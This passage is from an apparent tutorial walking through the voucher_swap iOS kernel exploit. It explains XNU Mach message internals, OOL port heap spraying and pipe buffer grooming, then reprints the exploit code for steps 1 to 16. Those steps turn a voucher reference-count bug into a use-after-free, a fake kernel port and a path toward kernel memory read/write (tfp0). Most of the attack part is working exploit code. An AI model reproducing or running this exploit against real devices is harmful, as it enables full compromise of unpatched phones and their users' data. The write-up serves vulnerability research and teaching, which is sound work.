2807: 	ipc_kmsg_t kmsg,
2808: 	mach_msg_option_t *optionp,
2809: 	mach_msg_return_t *mr)
2810: {
2811:     void *data;
2812:     ipc_object_t *objects;
2813:     unsigned int i;
2814:     mach_vm_offset_t addr;
2865:     if (os_mul_overflow(count, sizeof(mach_port_t), &ports_length)) {
2866:         *mr = MACH_SEND_TOO_LARGE;
2867:         return NULL;
2868:     }
2815:     mach_msg_type_name_t user_disp;
2874:
2875:     if (ports_length == 0) {
2876:         return user_dsc;
2877:     }
2878:
2879:     data = kalloc(ports_length);
2880:
2881:     if (data == NULL) {
2882:         *mr = MACH_SEND_NO_BUFFER;
2883:         return NULL;
2884:     }
2902:     objects = (ipc_object_t *) data;
2903:     dsc->address = data;
2904:
2905:     for ( i = 0; i < count; i++) {
2906:         mach_port_name_t name = names[i];
2907:         ipc_object_t object;
2908:
2909:         if (!MACH_PORT_VALID(name)) {
2910:             objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);
2911:             continue;
2912:         }
2913:
2914:         kern_return_t kr = ipc_object_copyin(space, name, user_disp, &object);
2915:
2916:         if (kr != KERN_SUCCESS) {
2917:             unsigned int j;
2918:
2919:             for(j = 0; j < i; j++) {
2920:                 object = objects[j];
2921:                 if (IPC_OBJECT_VALID(object))
2922:                     ipc_object_destroy(object, result_disp);
2923:             }
2924:             kfree(data, ports_length);
2925:             dsc->address = NULL;
2926: 			if ((*optionp & MACH_SEND_KERNEL) == 0) {
2927: 				mach_port_guard_exception(name, 0, 0, kGUARD_EXC_SEND_INVALID_RIGHT);
2928: 			}
2929:             *mr = MACH_SEND_INVALID_RIGHT;
2930:             return NULL;
2931:         }
2932:
2933:         if ((dsc->disposition == MACH_MSG_TYPE_PORT_RECEIVE) &&
2934:                 ipc_port_check_circularity(
2935:                     (ipc_port_t) object,
2936:                     (ipc_port_t) dest))
2937:             kmsg->ikm_header->msgh_bits |= MACH_MSGH_BITS_CIRCULAR;
2938:
2939:         objects[i] = object;
2940:     }
2941:
2942:     return user_dsc;
2943: }


On Line 2879, it calls kalloc to allocate memory in the heap in the kalloc zone and in line 2902, it is substituted as a variable objects which is an array of port pointers. On line 2909, each port is iterated in the descriptor and checked for validity. The function CAST_MACH_NAME_TO_PORT is called on the port which basically does this. If the port is MACH_PORT_DEAD, its filled with 0xFFFFFFFFFFFFFFFF, and if its MACH_PORT_NULL, its filled with 0x0000000000000000.

So basically, by sending a lot of Mach messages with the option OOL Port Descriptor, it is possible to allocate a specific kalloc zone (depending on how many ports you spray) with valid pointers, 0xFFFFFFFFFFFFFFFF or 0x0000000000000000. The same memory can be deallocated by receiving the message, and thereby poking holes within the memory. The contents of the received messages will be the ports and they can be analyzed for certain pattern to find overlaps. This technique has been used extensively in previous exploits for performing Heap Feng Shui as mentioned in this talk by Stefan Esser.

The idea is to send Port pointers in a pattern such that iv_refs is overlapped with lower 32 bits of base port address (Little-Endian system) and its still not more than its max value. Sending a valid port pointer for a valid port (created earlier) at a certain index in the pattern will overlap iv_refs with lower 32 bits and the next field with the upper 32 bits. Hence, incrementing iv_refs will basically increment the base port pointer.

 

 

Similarly, overlapping iv_port with MACH_PORT_NULL will be just fine since we can call thread_get_mach_voucher to get a new voucher port that can use to manipulate the reference count again.

In order to allocate the freed voucher with Port pointers, it is essential to initiate zone garbage collection on the ipc vouchers zone. This can be done by allocating a large number of vouchers and then freeing them, essentially making that memory available to be used again, and then spraying the memory with port pointers as described above.

Pipe Buffers

Pipe is another system call in XNU used for IPC. It creates a pipe that allocates a pair of file descriptors and allows unidirectional data flow. The buffer through which the data flows is known as the pipe buffer. Data written to the write end of the pipe buffer can be read from the read end of the buffer, but not vice versa as this feature is not provided by XNU. This basically allows you to read and write into the same address space. The other important thing is that it occupies kva (kernel virtual address) space and hence is a useful primitive for allocating memory in the heap. Another important thing to note is that the pipe buffer size is set to a max value of 16384 bytes by default, and the whole pipe size for all the pipe buffers is set to 16MB.


File: ./bsd/sys/pipe.h
68:
69: /*
70:  * Pipe buffer size, keep moderate in value, pipes take kva space.
71:  */
72: #ifndef PIPE_SIZE
73: #define PIPE_SIZE	16384
74: #endif
75:
76: #define PIPE_KVAMAX	(1024 * 1024 * 16)
77:
78: #ifndef BIG_PIPE_SIZE
79: #define BIG_PIPE_SIZE	(64*1024)
80: #endif
81:
82: #ifndef SMALL_PIPE_SIZE
83: #define SMALL_PIPE_SIZE	PAGE_SIZE
84: #endif
85:

If the data has been written to the pipe buffer and its full, then the pipe is considered to be blocked. To free that buffer, data must be read out from the pipe buffer. Data can be sprayed using pipe buffers by allocating many pipe buffers and writing data to it. The total number of pipes that can be created is the total pipe size (16 MB) divided by the pipe buffer size (16384 bytes), which is 1024.

The advantage of pipe buffers is that if we are able to get a pointer to one of our pipe buffers and read the value out of it, we can basically identify which of those 1024 pipe buffers it is, and then reallocate data in that particular pipe buffer with something else.

What we are trying to achieve in this case for the voucher_swap exploit is getting a port pointer to point to one of the pipe buffers, identify which pipe buffer it is, and then reallocating data in that pipe buffer to create a fake port, which can allow us to do certain tasks. Since the Port pointer originally points to a port, if it is possible to somehow increment that port pointer to point to the pipe buffers, that will also work. Hence, you need to spray some ports first such that the ipc.ports zone for the ports grows and fresh pages are allocated from the zone map, then spray the pipe buffers such that the pipe buffers land just in front of the sprayed ports, and then manipulate the port pointer which pointed to one of the sprayed ports incrementally so that it lands into the pipe buffers. In this case, we will use the iv_refs field to point to a port pointer, and then use the vulnerability to leak references thereby increasing it (iv_refs) and pointing it to the pipe buffers.

Now once you receive the messages that you sent for the spray you get an ipc_port pointer and send rights to it. However, in this case one of the ipc_port pointer actually points to our pipe buffers. Now we can manipulate that port contents using the read and write functionality of pipe buffers.

So our exploitation steps should look like this.

  1. Create the thread for which the voucher pointer will be stored.
  2. Spray the Heap with Ports so that the ipc.ports zone will grow and allocate fresh pages from the zone map. Set the last port as the base_port.
  3. Spray the Pipe buffers and since the memory is freshly allocated, the pipe buffer will land just in front of the ports, since the memory will now be allocated incrementally. The pipe buffers content masks that of a port and each pipe buffers content has a different IKOT type to identify later which pipe buffer overlaps.
  4. Spray the Vouchers and choose one Voucher to be freed. These vouchers will land in their own zone ipc vouchers.
  5. Store a Pointer to the selected voucher that was created in the previous step in the threads ith_voucher field. This will increase its reference count. Now use the vulnerability to reduce the reference count by one again, while still holding a pointer to the voucher.
  6. Release the vouchers, the voucher to which you still hold a pointer is also destroyed.
  7. Spray using OOL Ports Descriptor by sending Mach messages in a pattern (triggering GC) such that iv_refs is overlapped with the base port's lower 32 bits address and the iv_port will be MACH_PORT_NULL. Incrementing iv_refs will basically cross base port and land into the pipe buffers.
  8. Get a new voucher port by calling thread_get_mach_voucher. Now we can manipulate the overlapping freed voucher.
  9. Use reference counting bug again to increase the iv_refs and point it to the pipe buffers. Choose a fixed offset of 4 MB.
  10. Receive the message that was sent using OOL ports descriptor. Look at the ports that were received and find the overlapping pipe buffer by looking at the contents of the port (IKOT_TASK) and matching it with the index of the pipe buffer.
  11. Since we can read and write into pipe buffers we can create a fake port in the pipe buffer.
  12. Create a fake task IKOT_TASK port and read memory using pid_for_task 4 bytes at a time.
  13. Create a fake Kernel Task Port by copying ipc_space_kernel and kernels vm_map using the read primitives and writing them into the pipe buffers.
  14. Create a better fake Kernel Task Port using mach_vm_allocate
  15. tfp0 achieved. Now you can Read and Write into Kernel Memory!

 

The Exploit

Anyways, enough of background, let's jump into the exploitation in detail.

If you haven't downloaded it yet, get a copy of the voucher_swap exploit code so you can follow along. In some cases, the comments are self explanatory so i am just gonna skip the explanation.

Step 1: Create a Separate thread for the Voucher

Create a separate thread where we will store the pointer to the voucher. The thread has an ith_voucher field where we can keep the reference to the voucher.


// 1. Create the thread whose ith_voucher field we will use during the exploit. This could
	// be the current thread, but that causes a panic if we try to perform logging while not
	// being run under a debugger, since write() will trigger an access to ith_voucher. To
	// avoid this, we create a separate thread whose ith_voucher field we can control. In order
	// for thread_set_mach_voucher() to work, we need to be sure not to start the thread.
	kr = thread_create(mach_task_self(), &thread);
	assert(kr == KERN_SUCCESS);

Step 2: Create Pipes for the spray

Generate pipes for the spray. These pipes will be sprayed after the ports spray so they can land in adjacent memory. The maximum size allowed for a pipe buffer is 16384 bytes and the total size for all the pipe buffers is 16MB. Therefore the total number of pipes that can be sprayed is 1024. During the overlap, one of the pipes and its corresponding pipe buffer will overlap with the fake port.


// 2. Create some pipes so that we can spray pipe buffers later. We'll be limited to 16 MB
	// of pipe memory, so don't bother creating more.
	pipe_buffer_size = 16384;
	size_t pipe_count = 16 * MB / pipe_buffer_size;
	increase_file_limit();
	int *pipefds_array = create_pipes(&pipe_count);
	INFO("created %zu pipes", pipe_count);

Step 3: Spray the Heap with Ports

We need to spray a lot of IPC ports. Some of these ports will close the existing holes and force the kernel to allocate additional blocks from the zone map. When we spray the pipe buffers after that, we will assume that they land just in front of the ports. The filler_port_count is chosen to be 8000 based on initial analysis. The base_port is the last port created using the create_ports call. Remember this as we will use it again in Step 8. The next memory block should be hopefully allocated next to the pipe buffers, and since the pipe size is 16MB, our fake port which we will create inside the pipe buffer should be within the 16MB range. On the first 2000 ports, we also increase the queue limit, which is the maximum of messages that can be sent at once to the port. The reason for doing is on the first 2000 ports is because we will be sending messages using OOL ports descriptor to these ports in order to reallocate the freed vouchers, and hence having the ability to send more messages to these ports would help in the spray.


// 3. Spray a bunch of IPC ports. Hopefully these ports force the ipc.ports zone to grow
	// and allocate fresh pages from the zone map, so that the pipe buffers we allocate next
	// are placed directly after the ports.
	//
	// We want to do this as early as possible so that the ports are given low addresses in the
	// zone map, which increases the likelihood that bits 28-31 of the pointer are 0 (which is
	// necessary later so that the overlapping iv_refs field of the voucher is valid).
	const size_t filler_port_count = 8000;
	const size_t base_port_to_fake_port_offset = 4 * MB;
	mach_port_t *filler_ports = create_ports(filler_port_count + 1);
	INFO("created %zu ports", filler_port_count);
	// Grab the base port.
	base_port = filler_ports[filler_port_count];
	// Bump the queue limit on the first 2000 ports, which will also be used as holding ports.
	for (size_t i = 0; i < 2000; i++) {
		port_increase_queue_limit(filler_ports[i]);
	}

Step 4: Spray the Pipe buffers

Next, we spray the heap with pipe buffers and hope they land just after the ports in memory.


// 4. Spray our pipe buffers. We're hoping that these land contiguously right after the
	// ports.
	assert(pipe_buffer_size == 16384);
	pipe_buffer = calloc(1, pipe_buffer_size);
	assert(pipe_buffer != NULL);
	assert(pipe_count <= IO_BITS_KOTYPE + 1);
	size_t pipes_sprayed = pipe_spray(pipefds_array,
			pipe_count, pipe_buffer, pipe_buffer_size,
			^(uint32_t pipe_index, void *data, size_t size) {
		// For each pipe buffer we're going to spray, initialize the possible ipc_ports
		// so that the IKOT_TYPE tells us which pipe index overlaps. We have 1024 pipes and
		// 12 bits of IKOT_TYPE data, so the pipe index should fit just fine.
		iterate_ipc_ports(size, ^(size_t port_offset, bool *stop) {
			uint8_t *port = (uint8_t *) data + port_offset;
			FIELD(port, ipc_port, ip_bits,       uint32_t) = io_makebits(1, IOT_PORT, pipe_index);
			FIELD(port, ipc_port, ip_references, uint32_t) = 1;
			FIELD(port, ipc_port, ip_mscount,    uint32_t) = 1;
			FIELD(port, ipc_port, ip_srights,    uint32_t) = 1;
		});
	});
	size_t sprayed_size = pipes_sprayed * pipe_buffer_size;
	INFO("sprayed %zu bytes to %zu pipes in kalloc.%zu",
			sprayed_size, pipes_sprayed, pipe_buffer_size);

Also, for each pipe buffer, we are going to write the pipe buffer with possible ipc_port structs and change the 12 bits of IKOT_TYPE for the port to the pipe index. This will help us in finding the overlapping pipe amongst all the 1024 pipes, since the data in the pipe buffers will be interpreted as a fake port. This is done by the callback function update which in turn calls iterate_ipc_ports and sets the attributes for the ipc_port. This data is then written to the write end of the buffer.


size_t
pipe_spray(const int *pipefds, size_t pipe_count,
		void *pipe_buffer, size_t pipe_buffer_size,
		void (^update)(uint32_t pipe_index, void *data, size_t size)) {
	assert(pipe_count <= 0xffffff);
	assert(pipe_buffer_size > 512);
	size_t write_size = pipe_buffer_size - 1;
	size_t pipes_filled = 0;
	for (size_t i = 0; i < pipe_count; i++) {
		// Update the buffer.
		if (update != NULL) {
			update((uint32_t)i, pipe_buffer, pipe_buffer_size);
		}
		// Fill the write-end of the pipe with the buffer. Leave off the last byte.
		int wfd = pipefds[2 * i + 1];
		ssize_t written = write(wfd, pipe_buffer, write_size);
		if (written != write_size) {
			// This is most likely because we've run out of pipe buffer memory. None of
			// the subsequent writes will work either.
			break;
		}
		pipes_filled++;
	}
	return pipes_filled;
}

As we can see from Step 4, the iterate_ipc_ports basically considers the data as ipc_port structs and has a callback function specifying the port offset which is used to set the attributes of the ports.


/*
 * iterate_ipc_ports
 *
 * Description:
 * 	A utility function to help iterate over data as an array of ipc_port structs in zalloc
 * 	blocks.
 */
static void
iterate_ipc_ports(size_t size, void (^callback)(size_t port_offset, bool *stop)) {
	// Iterate through each block.
	size_t block_count = (size + BLOCK_SIZE(ipc_port) - 1) / BLOCK_SIZE(ipc_port);
	bool stop = false;
	for (size_t block = 0; !stop && block < block_count; block++) {
		// Iterate through each port in this block.
		size_t port_count = size / SIZE(ipc_port);
		if (port_count > COUNT_PER_BLOCK(ipc_port)) {
			port_count = COUNT_PER_BLOCK(ipc_port);
		}
		for (size_t port = 0; !stop && port < port_count; port++) {
			callback(BLOCK_SIZE(ipc_port) * block + SIZE(ipc_port) * port, &stop);
		}
		size -= BLOCK_SIZE(ipc_port);
	}
}

The callback function is used to update the pipe buffer and overwrite it with ipc_port structs.

Step 5: Spray the Heap with Vouchers

Next, we spray the heap with Vouchers and also choose one voucher port that will be eventually freed and call it uaf_voucher_port. As discussed in the previous article, memory is taken from the zone map in blocks. The size of a block is fixed for a particular object for a particular version (0x4000 for ipc_voucher for iPhone11,8 16C50). Since the voucher size is also fixed (0x50), the number of voucher objects in a block is also fixed (0x4000/0x50 = 80) The idea is to allocate extra blocks where the voucher that we will free eventually (uaf_voucher_port) will be stored. The first 300 vouchers are basically to fill up the initial holes. And then we spray vouchers to take up about 16 blocks, where we plan to put our freed voucher in the target block (Block 7-10). These blocks will then be used for overlapping with OOL port pointers as we will see later.


// 5. Spray IPC vouchers. After we trigger the vulnerability to get a dangling voucher
	// pointer, we can trigger zone garbage collection and get them reallocated with our OOL
	// ports spray.
	//
	// Assume we'll need 300 early vouchers, 6 transition blocks, 4 target block, and 6 late
	// blocks.
	const size_t voucher_spray_count = 300 + (6 + 4 + 6) * COUNT_PER_BLOCK(ipc_voucher);
	const size_t uaf_voucher_index = voucher_spray_count - 8 * COUNT_PER_BLOCK(ipc_voucher);
	mach_port_t *voucher_ports = voucher_spray(voucher_spray_count);
	INFO("created %zu vouchers", voucher_spray_count);
	mach_port_t uaf_voucher_port = voucher_ports[uaf_voucher_index];

Step 6: More Spraying

Next, we spray some more memory using the ports we created earlier. This can be later freed to prompt garbage collection. If you remember we had created filler ports and bumped the queue limit on the first 2000 ports. In this case, the first 500 ports are being used for spraying again.


// 6. Spray 15% of memory (400MB on the iPhone XR) in kalloc.1024 that we can free later to
	// prompt gc. We'll reuse some of the early ports from the port spray above for this.
	const size_t gc_spray_size = 0.15 * platform.memory_size;
	mach_port_t *gc_ports = filler_ports;
	size_t gc_port_count = 500;		// Use at most 500 ports for the spray.
	sprayed_size = kalloc_spray_size(gc_ports, &gc_port_count, 768+1, 1024, gc_spray_size);
	INFO("sprayed %zu bytes to %zu ports in kalloc.%u", sprayed_size, gc_port_count, 1024);

Step 7: Store a pointer to the voucher but release the reference


// 7. Stash a pointer to an ipc_voucher in the thread's ith_voucher field and then remove
	// the added reference. That way, when we deallocate the voucher ports later, we'll be left
	// with a dangling voucher pointer in ith_voucher.
	kr = thread_set_mach_voucher(thread, uaf_voucher_port);
	assert(kr == KERN_SUCCESS);
	voucher_release(uaf_voucher_port);
	INFO("stashed voucher pointer in thread");

The reference is then released by the voucher_release function. Actually, @_bazad created two similar functions for releasing a reference (voucher_release) and leaking a reference (voucher_reference) which are both wrappers over voucher_tweak_references which is a wrapper over task_swap_mach_voucher. As you remember, the vulnerability was in calling the function task_swap_mach_voucher() which takes as input the current task, a new voucher (reference will be released) and and old voucher (reference will be leaked). Hence if you want to release a reference for a voucher, just pass it as an argument instead of the new voucher and the old voucher can be set as MACH_PORT_NULL.


/*
 * voucher_reference
 *
 * Description:
 * 	Add a reference to the voucher represented by the voucher port.
 */
static void
voucher_reference(mach_port_t voucher) {
	voucher_tweak_references(MACH_PORT_NULL, voucher);
}

/*
 * voucher_release
 *
 * Description:
 * 	Release a reference on the voucher represented by the voucher port.
 */
static void
voucher_release(mach_port_t voucher) {
	voucher_tweak_references(voucher, MACH_PORT_NULL);
}

/*
 * voucher_tweak_references
 *
 * Description:
 * 	Use the task_swap_mach_voucher() vulnerabilities to modify the reference counts of 2
 * 	vouchers.
 */
static void
voucher_tweak_references(mach_port_t release_voucher, mach_port_t reference_voucher) {
	// Call task_swap_mach_voucher() to tweak the reference counts (two bugs in one!).
	mach_port_t inout_voucher = reference_voucher;
	kern_return_t kr = task_swap_mach_voucher(mach_task_self(), release_voucher, &inout_voucher);
	if (kr != KERN_SUCCESS) {
		ERROR("%s returned %d: %s", "task_swap_mach_voucher", kr, mach_error_string(kr));
	}
	// At this point we've successfully tweaked the voucher reference counts, but our port
	// reference counts might be messed up because of the voucher port returned in
	// inout_voucher! We need to deallocate it (it's extra anyways, since
	// task_swap_mach_voucher() doesn't swallow the existing send rights).
	if (kr == KERN_SUCCESS && MACH_PORT_VALID(inout_voucher)) {
		kr = mach_port_deallocate(mach_task_self(), inout_voucher);
		assert(kr == KERN_SUCCESS);
	}
}

Step 8: Create the OOL ports pattern that will overlap the freed voucher

Now we need to create a pattern of OOL port pointers which will eventually overlap our vouchers. The author chooses the kalloc.32768 zone to overlap the voucher , simply because its 2*(BLOCK_SIZE(ipc_voucher)) or 2*(0x4000) and hence it will be easier to predict the offsets for the voucher. The number of port pointers are calculated based on the zone size divided by size of uint64_t which is the size of a port pointer. Then calloc call is used to initialize an array with the number of port pointers, each of size mach_port_t and then set to 0. The iterate_ipc_vouchers_via_mach_ports function is used to walk through the port pointers assuming them as vouchers and using a call back function giving out the offset of each voucher, and then setting iv_refs of the voucher to point to the base port, which you must remember from Step 2. The ool_ports[voucher_start + 1] is used because the iv_refs is at an offset 0x8 from the start of the voucher, and hence ool_ports[voucher_start + 1] will actually point to index 0x8 of the voucher. We will make the iv_refs field point to the base port, which is just before the pipe buffers. We also leave the iv_port pointer as MACH_PORT_NULL (set by calloc), so that when we can call thread_get_mach_voucher later on we get a new voucher port.


/ 8. Create the OOL ports pattern that we will spray to overwrite the freed voucher.
	//
	// We will reallocate the voucher to kalloc.32768, which is a convenient size since it lets
	// us very easily predict what offsets in the allocation correspond to which fields of the
	// voucher.
	assert(BLOCK_SIZE(ipc_voucher) == 16384);
	const size_t ool_port_spray_kalloc_zone = 32768;
	const size_t ool_port_count = ool_port_spray_kalloc_zone / sizeof(uint64_t);
	mach_port_t *ool_ports = calloc(ool_port_count, sizeof(mach_port_t));
	assert(ool_ports != NULL);
	// Now, walk though and initialize the "vouchers" in the ool_ports array.
	iterate_ipc_vouchers_via_mach_ports(ool_port_count, ^(size_t voucher_start) {
		// Send an OOL port one pointer past the start of the voucher. This will cause the
		// port pointer to overlap the voucher's iv_refs field, allowing us to use the
		// voucher port we'll get from thread_get_mach_voucher() later without panicking.
		// This port plays double-duty since we'll later use the reference count bug again
		// to increment the refcount/port pointer to point into our pipe buffer spray,
		// giving us a fake port.
		ool_ports[voucher_start + 1] = base_port;
		// Leave the voucher's iv_port field (index 7) as MACH_PORT_NULL, so that we can
		// call thread_get_mach_voucher() to get a new voucher port that references this
		// voucher. This is what allows us to manipulate the reference count later to
		// change the OOL port set above.
	});

Step 9: Free the first GC Spray


/ 9. Free the first GC spray. This makes that memory available for zone garbage collection
	// in the loop below.
	destroy_ports(gc_ports, gc_port_count);

Step 10: Release the Vouchers created earlier thereby creating a dangling port


// 10. Free the vouchers we created earlier. This leaves a voucher pointer dangling in our
	// thread's ith_voucher field. The voucher ports we created earlier are all now invalid.
	//
	// The voucher objects themselves have all been overwritten with 0xdeadbeefdeadbeef. If we
	// call thread_get_mach_voucher() here, we'll get an "os_refcnt: overflow" panic, and if we
	// call thread_set_mach_voucher() to clear it, we'll get an "a freed zone element has been
	// modified in zone ipc vouchers" panic.
	voucher_spray_free(voucher_ports, voucher_spray_count);

Step 11: Reallocate the freed Vouchers to overlap with the port pointers

If you remember from Step 6, we used 500 (gc_port_count) of the 2000 ports that we had bumped the queue limit to already for spraying. So now we will spray the other ports until we hit the total spray size as 17% of our platform size. The ool_holding_ports pointer is taken from index 500 (gc_port_count) onwards since we already used the first 500 for spraying. The idea is to also keep allocation size as 32768 so that it lands in the kalloc.32768 zone, this is done by calculating the number of port pointers for each message (ool_port_count = ool_port_spray_kalloc_zone / sizeof(uint64_t), where ool_port_spray_kalloc_zone = 32768), and hopefully after this the memory freed earlier from the vouchers will be reallocated here.


// 11. Reallocate the freed voucher with the OOL port pattern created earlier in the
	// kalloc.32768 zone. We need to do this slowly in order to force a zone garbage
	// collection. Spraying 17% of memory (450 MB on the iPhone XR) with OOL ports should be
	// plenty.
	const size_t ool_ports_spray_size = 0.17 * platform.memory_size;
	mach_port_t *ool_holding_ports = gc_ports + gc_port_count;
	size_t ool_holding_port_count = 500;	// Use at most 500 ports for the spray.
	sprayed_size = ool_ports_spray_size_with_gc(ool_holding_ports, &ool_holding_port_count,
			message_size_for_kalloc_size(512),
			ool_ports, ool_port_count, MACH_MSG_TYPE_MAKE_SEND,
			ool_ports_spray_size);
	INFO("sprayed %zu bytes of OOL ports to %zu ports in kalloc.%zu",
			sprayed_size, ool_holding_port_count, ool_port_spray_kalloc_zone);
	free(ool_ports);

If you look under the method ool_ports_spray_size_with_gc, there is also a delay added between every 2MB (gc_step) of spray with usleep() to give time for zone garbage collection.

Each of these ports are sprayed using mach messages with OOL port descriptors. This will allocate kernel memory and fill them with port pointers. The following code in ool_ports_spray_port is used to allocate parameters and send the message.


// Populate the message. Each OOL ports descriptor will be a kalloc.
	msg->header.msgh_bits           = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
	msg->header.msgh_remote_port    = holding_port;
	msg->header.msgh_size           = (mach_msg_size_t) message_size;
	msg->header.msgh_id             = 'ools';
	msg->body.msgh_descriptor_count = (mach_msg_size_t) ool_count;
	mach_msg_ool_ports_descriptor_t ool_descriptor = {};
	ool_descriptor.type             = MACH_MSG_OOL_PORTS_DESCRIPTOR;
	ool_descriptor.address          = (void *) ool_ports;
	ool_descriptor.count            = (mach_msg_size_t) port_count;
	ool_descriptor.deallocate       = FALSE;
	ool_descriptor.copy             = MACH_MSG_PHYSICAL_COPY;
	ool_descriptor.disposition      = ool_disposition;
	for (size_t i = 0; i < ool_count; i++) {
		msg->ool_ports[i] = ool_descriptor;
	}
	// Send the messages.
	size_t messages_sent = 0;
	for (; messages_sent < message_count; messages_sent++) {
		kern_return_t kr = mach_msg(
				&msg->header,
				MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
				(mach_msg_size_t) message_size,
				0,
				MACH_PORT_NULL,
				MACH_MSG_TIMEOUT_NONE,
				MACH_PORT_NULL);
		if (kr != KERN_SUCCESS) {
			ERROR("%s returned %d: %s", "mach_msg", kr, mach_error_string(kr));
			break;
		}
	}

Step 12: Call thread_get_mach_voucher() to get a voucher port for the freed voucher

Using thread_get_mach_voucher, we can recover the voucher port for the freed voucher, and this will allow us to further manipulate the reference count of the voucher.


	// 12. Once we've reallocated the voucher with an OOL ports allocation, the iv_refs field
	// will overlap with the lower 32 bits of the pointer to base_port. If base_port's address
	// is low enough, this tricks the kernel into thinking that the reference count is valid,
	// allowing us to call thread_get_mach_voucher() without panicking. And since the OOL ports
	// pattern overwrote the voucher's iv_port field with MACH_PORT_NULL,
	// convert_voucher_to_port() will go ahead and allocate a fresh voucher port through which
	// we can manipulate our freed voucher while it still overlaps our OOL ports.
	kr = thread_get_mach_voucher(thread, 0, &uaf_voucher_port);
	if (kr != KERN_SUCCESS) {
		ERROR("%s returned %d: %s", "c", kr, mach_error_string(kr));
		ERROR("could not get a voucher port to the freed voucher; reallocation failed?");
		fail();
	}
	if (!MACH_PORT_VALID(uaf_voucher_port)) {
		ERROR("freed voucher port 0x%x is not valid", uaf_voucher_port);
		fail();
	}
	INFO("recovered voucher port 0x%x for freed voucher", uaf_voucher_port);

Step 13: Modify the iv_refs to point to pipe buffers

Using the voucher port, we can modify the iv_refs value using the same vulnerability (reference leak this time) and hope that it points to our pipe buffers. If you recall from before, the iv_refs was actually pointing to the base port. So now the iv_refs pointer is incremented by 4MB (base_port_to_fake_port_offset) in this case, and if you remember we sprayed about 16MB of Pipe buffers, so the Port pointer should overlap somewhere within our sprayed Pipe buffers.


// 13. Alright, we've pushed through the first risky part! We now have a voucher port that
	// refers to a voucher that overlaps with our OOL ports spray. Our next step is to modify
	// the voucher's iv_refs field using the reference counting bugs so that the ipc_port
	// pointer it overlaps with now points into our pipe buffers. That way, when we receive the
	// message, we'll get a send right to a fake IPC port object whose contents we control.
	INFO("adding references to the freed voucher to change the OOL port pointer");
	for (size_t i = 0; i < base_port_to_fake_port_offset; i++) {
		voucher_reference(uaf_voucher_port);
	}
	kr = thread_set_mach_voucher(thread, MACH_PORT_NULL);
	if (kr != KERN_SUCCESS) {
		ERROR("could not clear thread voucher");
		// This is a horrible fix, since ith_voucher still points to the freed voucher, but
		// at least it'll make the OOL port pointer correct so the exploit can continue.
		voucher_release(uaf_voucher_port);
	}

Step 14: Identify Voucher Port and overlapping fake port

Now since the freed voucher (which is actually overlapped with port pointers) has an iv_refs pointer pointing to somewhere within the pipe buffers, we need to find out which of the 1024 pipe buffers is it. In order to do that, we receive the messages that we sent earlier using OOL Ports descriptor. We loop through all the descriptors in the message and pass them to a handler block with the parameter as the starting ports address and the total number of ports. Then we loop through each of these port pointers as vouchers using a helper function iterate_ipc_vouchers_via_mach_ports that gives out pointers of all possible vouchers by dividing the size of all port pointers by voucher size. The ool_voucher_port can be identified because it will have a valid voucher port, since we called thread_get_mach_voucher() only on that voucher, and also by checking against uaf_voucher_port at an offset of 7 when looping as port pointers, since its 7*8 which is 56(0x38) (offset of iv_port in the voucher struct). The fake port is identified simply as the value pointed by iv_refs which is at an offset of 0x8 and hence index 1 when using port pointers.


// 14. Now receive the OOL ports and recover our voucher port and the fake port that
	// overlaps our pipe buffers. This is where we're most likely to panic if the port/pipe
	// groom failed and the overlapping OOL port pointer does not point into our pipe buffers.
	INFO("receiving the OOL ports will leak port 0x%x", base_port);
	fake_port = MACH_PORT_NULL;
	ool_ports_spray_receive(ool_holding_ports, ool_holding_port_count,
			^(mach_port_t *ool_ports, size_t count) {
		if (count != ool_port_count) {
			ERROR("unexpected OOL ports count %zu", count);
			return;
		}
		// Loop through each of the possible voucher positions in the OOL ports looking for
		// a sign that this is where the voucher overlaps.
		iterate_ipc_vouchers_via_mach_ports(count, ^(size_t voucher_start) {
			// We're checking to see whether index 7 (which was MACH_PORT_NULL when we
			// sent the message) now contains a port. If it does, that means that this
			// segment of the OOL ports overlapped with the freed voucher, and so when
			// we called thread_get_mach_voucher() above, the iv_port field was set to
			// the newly allocated voucher port (which is what we're receiving now).
			mach_port_t ool_voucher_port = ool_ports[voucher_start + 7];
			if (ool_voucher_port != MACH_PORT_NULL) {
				INFO("received voucher port 0x%x in OOL ports", ool_voucher_port);
				INFO("voucher overlapped at offset 0x%zx",
						voucher_start * sizeof(uint64_t));
				if (ool_voucher_port != uaf_voucher_port) {
					ERROR("voucher port mismatch");
				}
				if (fake_port != MACH_PORT_NULL) {
					ERROR("multiple fake ports");
				}
				fake_port = ool_ports[voucher_start + 1];
				ool_ports[voucher_start + 1] = MACH_PORT_NULL;
				INFO("received fake port 0x%x", fake_port);
			}
		});
	});
	// Make sure we got a fake port.
	if (!MACH_PORT_VALID(fake_port)) {
		if (fake_port == MACH_PORT_NULL) {
			ERROR("did not receive a fake port in OOL ports spray");
		} else {
			ERROR("received an invalid fake port in OOL ports spray");
		}
		fail();
	}

Step 15: Find overlapping pipefds

Next, we need to identify that out of the all the pipe buffers that we created, which one overlaps with the fake port. To do that, we use the API mach_port_kobject to get the IKOT_TYPE value of the fake_port and this value should be the index of the pipe, because if you remember, in Step 4, we were creating ports within the pipe buffers and for each port that we created, we were overlapping the IKOT_TYPE with the index of the pipe buffer. Using this, we can identify which pipefds our fake port is overlapping with.


// 15. Check which pair of pipefds overlaps our port using mach_port_kobject(). The
	// returned type value will be the lower 12 bits of the ipc_port's ip_bits field, which
	// we've set to the index of the pipe overlapping the port during our spray.
	//
	// This is the third and final risky part: we could panic if our fake port doesn't actually
	// point into our pipe buffers. After this, though, it's all smooth sailing.
	natural_t type;
	mach_vm_address_t addr;
	kr = mach_port_kobject(mach_task_self(), fake_port, &type, &addr);
	if (kr != KERN_SUCCESS) {
		ERROR("%s returned %d: %s", "mach_port_kobject", kr, mach_error_string(kr));
		ERROR("could not determine the pipe index of our port");
	}
	size_t pipe_index = type;
	INFO("port is at pipe index %zu", pipe_index);
	// Get the pipefds that allow us to control the port.
	int *port_pipefds = pipefds_array + 2 * pipe_index;
	pipefds[0] = port_pipefds[0];
	pipefds[1] = port_pipefds[1];
	port_pipefds[0] = -1;
	port_pipefds[1] = -1;

Step 16: Clean up the unused memory


// 16. Clean up unneeded resources: terminate the ith_voucher thread, discard the filler
	// ports, and close the sprayed pipes.
	thread_terminate(thread);
	destroy_ports(filler_ports, filler_port_count);
	free(filler_ports);
	close_pipes(pipefds_array, pipe_count);
	free(pipefds_array);

